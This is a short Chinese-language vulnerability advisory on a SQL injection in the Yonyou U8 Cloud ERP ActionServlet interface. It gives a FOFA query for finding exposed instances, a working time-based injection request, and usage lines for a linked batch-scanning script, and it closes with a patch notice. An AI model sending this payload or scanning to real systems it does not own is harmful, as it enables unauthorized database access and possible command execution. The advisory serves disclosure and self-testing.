某友U8C ActionServlet SQLInject【附poc】

fofa

product="用友-U8-Cloud"

一、漏洞简述

某友U8 cloud是某友推出的新一代云ERP，主要聚焦成长型、创新型企业，提供企业级云ERP整体解决方案，全面支持多组织业务协同、营销创新、智能财务、人力服务，构建产业链制造平台，融合用友云服务，实现企业互联网资源连接、共享、协同，赋能中国成长型企业高速发展、云化创新。其接口com.ufida.web.action.ActionServlet存在SQL注入漏洞，攻击者可通过该漏洞获取数据库敏感信息，甚至造成远程命令执行。

二、漏洞检测poc

GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.web.reference.BusinessRefAction&method=getTaskRepTreeRef&taskId=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36Connection: close

三、漏洞检测脚本

安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：

https://github.com/ATonysan/poc-exp/blob/main/YongYouU8C_ActionServlet_SQLInject.py

批量检测:

python YongYouU8C_ActionServlet_SQLInject.py -f url.txt

单个url检测漏洞:

python YongYouU8C_ActionServlet_SQLInject.py -u url

四、修复

官方已更新补丁，请升级至最新版本。

官网地址：http://www.ufida-lcwy.com/